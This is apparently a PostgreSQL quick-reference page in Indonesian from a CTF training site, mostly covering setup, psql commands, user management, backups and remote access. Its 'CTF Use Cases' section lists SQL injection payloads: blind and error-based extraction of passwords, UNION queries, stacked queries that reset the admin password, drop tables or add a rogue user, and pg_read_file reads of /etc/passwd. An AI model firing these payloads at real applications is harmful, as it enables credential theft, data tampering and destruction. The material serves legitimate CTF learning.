TDCTF Academy Logo TDCTF ACADEMY

PostgreSQL Quick Reference

Panduan cepat PostgreSQL untuk setup, operasi sehari-hari, dan CTF.


Apa Itu PostgreSQL?

PostgreSQL (sering disebut Postgres) adalah database relational open-source yang powerful, feature-rich, dan standards-compliant. Berbeda dengan SQLite, PostgreSQL adalah client-server database - perlu service yang berjalan sebagai daemon.

Fitur Keterangan
Tipe Client-server relational database
ACID Full ACID compliance
Ekstensi Dukungan JSON, GIS (PostGIS), Full-text search
Cocok untuk Aplikasi produksi, data besar, geospatial, CTF

Instalasi

# Ubuntu/Debian
sudo apt install postgresql postgresql-contrib

# macOS
brew install postgresql@16

# Cek versi
psql --version

Service Management

# Start / stop / restart / status
sudo systemctl start postgresql
sudo systemctl stop postgresql
sudo systemctl restart postgresql
sudo systemctl status postgresql

# Enable auto-start
sudo systemctl enable postgresql

# Alternatif (tanpa systemd)
sudo pg_ctlcluster 16 main start

User Default & Login

User 'postgres'

PostgreSQL membuat user postgres secara default. Login:

# Login sebagai postgres (via peer authentication)
sudo -u postgres psql

# Atau
sudo -i -u postgres
psql
peringatan

Secara default, PostgreSQL menggunakan peer authentication - login hanya bisa dilakukan oleh user Linux yang sama. Gunakan sudo -u postgres psql untuk login awal.

Membuat User Baru

-- Buat user (di dalam psql)
CREATE USER myuser WITH PASSWORD 'mypassword';

-- Buat user dengan privilege login
CREATE USER myuser WITH LOGIN PASSWORD 'securepass';

-- Buat superuser (full access)
CREATE USER admin WITH SUPERUSER PASSWORD 'strongpass';

-- Buat user dengan masa berlaku
CREATE USER tempuser WITH PASSWORD 'temp123' VALID UNTIL '2025-12-31';

CREATE DATABASE & GRANT

-- Buat database
CREATE DATABASE mydb;

-- Buat database dengan owner
CREATE DATABASE mydb OWNER myuser;

-- Beri akses semua privilege ke user di database
GRANT ALL PRIVILEGES ON DATABASE mydb TO myuser;

-- Beri akses tabel (konek dulu ke database)
\c mydb
GRANT ALL PRIVILEGES ON ALL TABLES IN SCHEMA public TO myuser;
GRANT ALL PRIVILEGES ON ALL SEQUENCES IN SCHEMA public TO myuser;
GRANT ALL PRIVILEGES ON ALL FUNCTIONS IN SCHEMA public TO myuser;

-- Memberi akses untuk tabel yang akan dibuat
ALTER DEFAULT PRIVILEGES IN SCHEMA public GRANT ALL ON TABLES TO myuser;

SQL Dasar di PostgreSQL

CREATE TABLE

CREATE TABLE users (
id SERIAL PRIMARY KEY, -- Auto-increment (INTEGER)
username VARCHAR(50) NOT NULL UNIQUE,
email VARCHAR(100) NOT NULL,
password TEXT NOT NULL,
is_active BOOLEAN DEFAULT TRUE,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);

CREATE TABLE posts (
id SERIAL PRIMARY KEY,
user_id INTEGER NOT NULL REFERENCES users(id) ON DELETE CASCADE,
title VARCHAR(200) NOT NULL,
content TEXT,
published BOOLEAN DEFAULT FALSE,
created_at TIMESTAMPTZ DEFAULT NOW()
);
tip

PostgreSQL menggunakan SERIAL untuk auto-increment (bukan AUTO_INCREMENT seperti MySQL). Alternatif modern: tipe GENERATED AS IDENTITY.

INSERT

INSERT INTO users (username, email, password)
VALUES ('admin', '[email protected]', 'hash123');

INSERT INTO users (username, email, password) VALUES
('alice', '[email protected]', 'hash456'),
('bob', '[email protected]', 'hash789');

-- INSERT dengan RETURNING (fitur PostgreSQL)
INSERT INTO users (username, email, password)
VALUES ('newuser', '[email protected]', 'hash')
RETURNING id, created_at;
tip

Fitur RETURNING adalah keunggulan PostgreSQL dibanding MySQL - Anda bisa langsung mendapatkan nilai yang baru saja di-insert.

SELECT

SELECT * FROM users;
SELECT id, username, email FROM users WHERE is_active = TRUE;
SELECT * FROM users ORDER BY created_at DESC LIMIT 10;

UPDATE

UPDATE users SET password = 'newhash' WHERE username = 'admin';
UPDATE users SET updated_at = NOW() WHERE id = 1;

-- UPDATE dengan RETURNING
UPDATE users SET is_active = FALSE WHERE id = 5 RETURNING *;

DELETE

DELETE FROM users WHERE username = 'guest';
DELETE FROM posts WHERE created_at < '2024-01-01';

-- DELETE dengan RETURNING
DELETE FROM users WHERE is_active = FALSE RETURNING id, username;

psql - Perintah Penting

\l -- List semua database
\l+ -- List dengan detail (ukuran, encoding)
\c database_name -- Connect ke database
\c dbname username -- Connect dengan user tertentu
\dt -- List semua tabel
\dt+ -- List tabel dengan detail
\dt schema.* -- List tabel di schema tertentu
\d tablename -- Describe tabel (kolom, tipe, constraint)
\d+ tablename -- Describe dengan detail tambahan
\di -- List indexes
\ds -- List sequences
\dv -- List views
\df -- List functions

User & Role Management

\du -- List semua users/roles
\du+ -- List dengan detail
\dg -- List roles
\dp -- List permission (table privileges)

Informasi

\l -- Databases
\dn -- Schemas
\dx -- Installed extensions
\conninfo -- Info koneksi saat ini
\encoding -- Encoding saat ini
\timing on -- Tampilkan waktu eksekusi query
\echo 'hello' -- Print text
\! ls -la -- Jalankan command shell

Output Format

\x auto -- Expanded display (toggle)
\pset border 2 -- Border style
\pset format wrapped -- Format output
\H -- HTML output (toggle)
\o output.txt -- Redirect output ke file
\o -- Reset output ke terminal

Keluar

\q -- Keluar dari psql

psql - Command Line Flags

Berguna untuk scripting dan automation:

# Jalankan query langsung
psql -U myuser -d mydb -c "SELECT * FROM users;"

# Jalankan file SQL
psql -U myuser -d mydb -f query.sql

# Jalankan dengan output ke file
psql -U myuser -d mydb -c "SELECT * FROM users;" -o output.txt

# Format output sebagai HTML
psql -U myuser -d mydb -H -c "SELECT * FROM users;" > report.html

# Format output sebagai CSV
psql -U myuser -d mydb -c "SELECT * FROM users;" --csv > users.csv

# Tanpa password prompt (gunakan .pgpass)
psql -U myuser -d mydb -w -c "SELECT 1;"

# Eksekusi multiple commands
psql -U postgres << EOF
CREATE DATABASE testdb;
\c testdb
CREATE TABLE test (id SERIAL PRIMARY KEY, name TEXT);
EOF

File .pgpass

Simpan password agar tidak di-prompt:

# Format: hostname:port:database:username:password
echo "localhost:5432:mydb:myuser:mypassword" >> ~/.pgpass
chmod 600 ~/.pgpass

Backup & Restore

Backup dengan pg_dump

# Backup satu database ke file SQL
pg_dump mydb > mydb_backup.sql

# Backup dengan user spesifik
pg_dump -U myuser -h localhost mydb > backup.sql

# Backup hanya schema (tanpa data)
pg_dump -s mydb > schema.sql

# Backup hanya data (tanpa schema)
pg_dump -a mydb > data.sql

# Backup dengan format custom (compressed, parallel restorable)
pg_dump -Fc mydb > mydb.dump

# Backup tabel tertentu
pg_dump -t users -t posts mydb > users_posts.sql

# Gzip langsung
pg_dump mydb | gzip > mydb.sql.gz

Restore

# Restore dari file SQL
psql mydb < mydb_backup.sql

# Buat database dulu jika belum ada
createdb newdb
psql newdb < mydb_backup.sql

# Restore dari format custom
pg_restore -d mydb mydb.dump

# Restore dengan parallel (lebih cepat)
pg_restore -j 4 -d mydb mydb.dump

pg_dumpall (Semua Database)

# Backup semua database (termasuk users, roles)
pg_dumpall > all_databases.sql

# Restore semua
psql -f all_databases.sql postgres
peringatan

pg_dumpall membutuhkan akses superuser. Restore juga harus dijalankan sebagai superuser (biasanya user postgres).


User Management

-- Buat user
CREATE USER app_user WITH PASSWORD 'securepass';

-- Buat role (grup permission)
CREATE ROLE developers;

-- Tambah user ke role
GRANT developers TO app_user;

-- Ubah password
ALTER USER myuser WITH PASSWORD 'newpassword';

-- Ubah atribut
ALTER USER myuser WITH SUPERUSER;
ALTER USER myuser WITH NOSUPERUSER;
ALTER USER myuser WITH CREATEDB;
ALTER USER myuser VALID UNTIL '2025-12-31';

-- Hapus user
DROP USER myuser;
DROP USER IF EXISTS myuser;

-- Hapus user yang memiliki database
DROP DATABASE IF EXISTS mydb;
DROP USER myuser;

Hak Akses (Privileges)

-- Grant
GRANT SELECT ON users TO reader;
GRANT INSERT, UPDATE, DELETE ON users TO writer;
GRANT ALL PRIVILEGES ON ALL TABLES IN SCHEMA public TO app_user;
GRANT USAGE, SELECT ON ALL SEQUENCES IN SCHEMA public TO app_user;

-- Revoke
REVOKE DELETE ON users FROM writer;
REVOKE ALL PRIVILEGES ON DATABASE mydb FROM old_user;

Remote Connection

1. Edit postgresql.conf

# Cari dan edit
sudo nano /etc/postgresql/16/main/postgresql.conf

Ubah baris:

listen_addresses = '*' # atau 'localhost, 192.168.1.100'
port = 5432

2. Edit pg_hba.conf

sudo nano /etc/postgresql/16/main/pg_hba.conf

Tambahkan:

# Izinkan dari subnet tertentu dengan password
host all all 192.168.1.0/24 scram-sha-256
host all all 10.0.0.0/8 md5

# Atau dari semua IP (tidak disarankan untuk produksi!)
host all all 0.0.0.0/0 scram-sha-256

3. Restart Service

sudo systemctl restart postgresql

4. Firewall

sudo ufw allow 5432/tcp

Reset Password

# Metode 1: Langsung di psql
sudo -u postgres psql
ALTER USER postgres WITH PASSWORD 'newpassword';
ALTER USER myuser WITH PASSWORD 'newpassword';
\q
# Metode 2: Reset via command line
sudo -u postgres psql -c "ALTER USER postgres WITH PASSWORD 'newpassword';"

CTF Use Cases

PostgreSQL sering menjadi target di CTF karena fitur-fitur uniknya.

1. Blind SQLi

-- Time-based dengan PG_SLEEP
' OR (SELECT pg_sleep(5) FROM users WHERE username='admin') --

' OR (SELECT CASE WHEN (substr(password,1,1)='a') THEN pg_sleep(3) ELSE pg_sleep(0) END FROM users LIMIT 1) --

-- Boolean-based
' OR (SELECT length(password) FROM users LIMIT 1) > 10 --
' OR (SELECT substr(password,1,1) FROM users LIMIT 1) = 'a' --

2. Error-based SQLi

-- CAST error untuk extract data
' OR 1=CAST((SELECT password FROM users LIMIT 1) AS INTEGER) --

' AND 1=CAST((SELECT version()) AS INTEGER) --

3. String Concatenation

-- PostgreSQL menggunakan || untuk concat
' UNION SELECT username || ':' || password FROM users --
' UNION SELECT 'admin' || ':' || 'hash123' --

-- CONCAT function (juga tersedia)
' UNION SELECT CONCAT(username, ':', password) FROM users --

4. Stacked Queries

PostgreSQL mendukung stacked queries (beda dengan MySQL yang sering diblokir):

'; UPDATE users SET password = 'hacked' WHERE username = 'admin'; --
'; DROP TABLE logs; --
'; INSERT INTO users(username, password) VALUES ('hacker', 'pwned'); --
peringatan

Stacked queries sangat berbahaya. Di CTF, ini sering menjadi jalan untuk memodifikasi data atau bahkan mengambil alih database.

5. Read File (Superuser)

Hanya superuser yang bisa membaca file:

-- Membaca file (butuh superuser + GRANT pg_read_server_files)
SELECT pg_read_file('/etc/passwd');
SELECT pg_read_file('/etc/hostname');
SELECT pg_read_file('/var/log/postgresql/postgresql-16-main.log', 0, 1000);

-- List directory (butuh superuser)
SELECT * FROM pg_ls_dir('/tmp');

6. Information Gathering

-- Versi PostgreSQL
SELECT version();

-- Current user dan database
SELECT current_user, current_database();

-- List tabel
SELECT table_name FROM information_schema.tables WHERE table_schema = 'public';

-- List kolom
SELECT column_name, data_type FROM information_schema.columns WHERE table_name = 'users';

-- Enumerasi function
SELECT proname FROM pg_proc WHERE proname LIKE '%read%';

Perbedaan dengan MySQL

Fitur PostgreSQL MySQL
Auto-increment SERIAL / GENERATED AS IDENTITY AUTO_INCREMENT
RETURNING RETURNING * ❌ Tidak ada
Case-insensitive ILIKE atau LOWER() Default case-insensitive
Array type TEXT[], INT[] ❌ Tidak ada
JSON JSON, JSONB (indexed) JSON (limited)
Full-text search Built-in tsvector Perlu FULLTEXT index
CTE (WITH) ✅ Advanced (modifying CTE) ✅ Basic
Window functions ✅ Advanced ✅ Limited
CONCAT || atau CONCAT() CONCAT() atau |
Foreign key Strict by default Relaxed (MyISAM ignores)
Index types B-tree, Hash, GiST, GIN, BRIN B-tree, Hash, Full-text
Locking Row-level (MVCC) Row-level (InnoDB)

Contoh Perbedaan

-- PostgreSQL: RETURNING
INSERT INTO users (name) VALUES ('test') RETURNING id;

-- PostgreSQL: ILIKE (case-insensitive)
SELECT * FROM users WHERE name ILIKE '%admin%';

-- PostgreSQL: Array
SELECT ARRAY[1, 2, 3];
SELECT * FROM users WHERE tags @> ARRAY['admin'];

-- PostgreSQL: JSONB query
SELECT * FROM data WHERE json_field->>'name' = 'test';

Troubleshooting

Masalah Solusi
could not connect to server: No such file or directory Service tidak jalan: sudo systemctl start postgresql
FATAL: Peer authentication failed Login via sudo -u postgres psql atau edit pg_hba.conf
FATAL: password authentication failed Reset password via ALTER USER
FATAL: database "x" does not exist Buat database: CREATE DATABASE x
FATAL: role "x" does not exist Buat user: CREATE USER x
could not connect to server: Connection refused Cek listen_addresses di postgresql.conf
psql: error: FATAL: no pg_hba.conf entry Tambahkan rule di pg_hba.conf lalu restart
ERROR: relation "table" does not exist Cek schema: \dt atau tambah schema prefix public.table
ERROR: permission denied for table GRANT privilege yang diperlukan
ERROR: database is locked PostgreSQL jarang terkunci, biasanya ada transaksi active
WARNING: terminating connection because of crash Cek log: /var/log/postgresql/postgresql-*-main.log

Cek Koneksi Aktif

SELECT pid, usename, application_name, client_addr, state, query
FROM pg_stat_activity;

Kill Koneksi

-- Terminate koneksi tertentu
SELECT pg_terminate_backend(pid);

-- Terminate semua koneksi ke database (sebelum drop)
SELECT pg_terminate_backend(pid)
FROM pg_stat_activity
WHERE datname = 'mydb';

Ekstensi Berguna

-- Lihat ekstensi terinstall
\dx

-- Install ekstensi
CREATE EXTENSION IF NOT EXISTS pgcrypto; -- Hash, enkripsi
CREATE EXTENSION IF NOT EXISTS uuid-ossp; -- UUID generation
CREATE EXTENSION IF NOT EXISTS hstore; -- Key-value store
CREATE EXTENSION IF NOT EXISTS pg_trgm; -- Trigram fuzzy matching
CREATE EXTENSION IF NOT EXISTS postgis; -- Geospatial (install postgis)

pgcrypto Examples

-- Hash password
SELECT crypt('mypassword', gen_salt('bf'));

-- Verify hash
SELECT crypt('mypassword', '$2a$06$hash...') = '$2a$06$hash...';

-- Random UUID
SELECT gen_random_uuid();

Ringkasan Perintah Cepat

Perintah Fungsi
sudo -u postgres psql Login sebagai postgres
psql -U user -d db -c "query" Jalankan query dari CLI
\l List database
\c dbname Connect ke database
\dt List tabel
\d tablename Describe tabel
\du List users
CREATE USER Buat user baru
CREATE DATABASE Buat database
\q Keluar
pg_dump db > file.sql Backup database
psql db < file.sql Restore database
pg_dumpall > all.sql Backup semua database
sudo systemctl start postgresql Start service

Kesimpulan

PostgreSQL adalah database enterprise-grade yang powerful untuk berbagai kebutuhan:

  • Produksi - aplikasi web, API, data warehouse
  • Development - fitur-fitur modern (JSONB, CTE, Window functions)
  • CTF - SQL injection, privilege escalation, file read

Poin-poin penting yang perlu diingat:

  1. Login awal sebagai postgres - sudo -u postgres psql
  2. pg_hba.conf mengontrol autentikasi - edit dengan hati-hati
  3. Gunakan RETURNING untuk mendapatkan data setelah INSERT/UPDATE/DELETE
  4. pg_dump untuk backup, psql untuk restore
  5. Perhatikan perbedaan dengan MySQL - SERIAL, ILIKE, ||, RETURNING

"PostgreSQL: the database that does everything, just with slightly more configuration."

PADA HALAMAN INI